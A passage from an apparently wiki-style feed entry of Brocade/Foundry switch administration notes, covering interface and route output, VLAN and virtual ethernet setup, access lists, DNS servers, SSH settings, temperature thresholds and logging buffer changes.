  0 input errors, 0 CRC, 0 frame, 0 ignored&lt;br /&gt;
  0 runts, 0 giants&lt;br /&gt;
  38293277 packets output, 30371035971 bytes, 0 underruns&lt;br /&gt;
  Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts&lt;br /&gt;
  0 output errors, 0 collisions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip routes ===&lt;br /&gt;
 show ip&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Global Settings&lt;br /&gt;
  ttl: 64, arp-age: 10, bootp-relay-max-hops: 4&lt;br /&gt;
  router-id : 0.0.0.0&lt;br /&gt;
  enabled : UDP-Broadcast-Forwarding  Source-Route  Load-Sharing  RARP  &lt;br /&gt;
  disabled: Route-Only  Directed-Broadcast-Forwarding  IRDP  Proxy-ARP  RIP  DVMRP  VRRP  VRRP-Extended  &lt;br /&gt;
Static Routes&lt;br /&gt;
  Index   IP Address        Subnet Mask       Next Hop Router   Metric Distance&lt;br /&gt;
  1       0.0.0.0           0.0.0.0           145.145.24.140    1      1 0&lt;br /&gt;
  2       192.168.251.0     255.255.255.0     192.168.252.1     1      1 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip interface networks === &lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
show ip interface&lt;br /&gt;
Interface       IP-Address      OK?  Method    Status                 Protocol&lt;br /&gt;
Ve 10           1.5.4.1  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 100          1.2.1.33   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 101          1.2.1.129  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 102          1.2.1.193  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 103          1.2.1.225  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 104          1.2.1.241  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 105          1.2.1.249  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 106          1.2.1.17   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 111          1.2.1.65   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 112          1.2.1.81   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 113          1.2.1.97   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 200          1.2.3.4  YES  NVRAM     up                     up     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
vlan 123 name v-users by port&lt;br /&gt;
tagged ethe 2 to 4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VLAN detail ===&lt;br /&gt;
* show vlans&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total PORT-VLAN entries: 19&lt;br /&gt;
Maximum PORT-VLAN entries: 4095&lt;br /&gt;
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off&lt;br /&gt;
 Untagged Ports:   2   3   4  19  20 &lt;br /&gt;
   Tagged Ports: None&lt;br /&gt;
   Uplink Ports: None&lt;br /&gt;
 DualMode Ports: None&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== virtual ethernet configuration ===&lt;br /&gt;
* is the ip configuration of the vlan subnet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
interface ve 300&lt;br /&gt;
 port-name v-secondary&lt;br /&gt;
 ip access-group 300 in&lt;br /&gt;
 ip address 1.2.1.1 255.255.255.240&lt;br /&gt;
!&lt;br /&gt;
interface ve 100&lt;br /&gt;
 port-name v-primary&lt;br /&gt;
 ip address 1.2.3.1 255.255.252.0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== access list per IP ===&lt;br /&gt;
* access list used by virtual ethernet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
access-list 10 permit 1.2.3.0 0.0.3.255&lt;br /&gt;
access-list 10 permit 1.2.1.0 0.0.0.255&lt;br /&gt;
access-list 10 deny any log&lt;br /&gt;
&lt;br /&gt;
access-list 300 deny ip any 1.2.3.0 0.0.3.255 log&lt;br /&gt;
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log&lt;br /&gt;
access-list 300 permit ip any any&lt;br /&gt;
&lt;br /&gt;
access-list 103 permit ip any 1.2.5.0 0.0.0.255&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== set DNS === &lt;br /&gt;
* add 3 DNS servers:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* del 1 DNS server:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
no ip dns server-address 10.11.12.13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH management config ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
 ip ssh  key-authentication no&lt;br /&gt;
 ip ssh  source-interface ve 200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add port to VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* add tagged port:&lt;br /&gt;
 # vlan 4&lt;br /&gt;
 (vlan-4)# tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* add untagged port&lt;br /&gt;
 (vlan-4)# untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== remove port from VLAN ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
* remove un-tagged port:&lt;br /&gt;
 #vlan 4&lt;br /&gt;
 (vlan-4)# no untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* tagged port&lt;br /&gt;
 (vlan-4)# no tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== change temperature warning level ===&lt;br /&gt;
&lt;br /&gt;
* temperature at when the device will give warning&lt;br /&gt;
 # temperature warning 47&lt;br /&gt;
* temperature at when the device will shut down&lt;br /&gt;
 # temperature shutdown 57&lt;br /&gt;
* change the polling time interval&lt;br /&gt;
 # chassis poll-time 200&lt;br /&gt;
&lt;br /&gt;
=== change logging size ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#config te&lt;br /&gt;
BR-SSH@coresw1(config)#logging buffered 300&lt;br /&gt;
Reload required.  Please write memory and then reload or power cycle.&lt;br /&gt;
BR-SSH@coresw1(config)#write memory&lt;br /&gt;
Write startup-config done.&lt;br /&gt;
BR-SSH@coresw1(config)#end&lt;br /&gt;
BR-SSH@coresw1#reload&lt;br /&gt;
Are you sure? (enter 'y' or 'n'): y&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
</feed>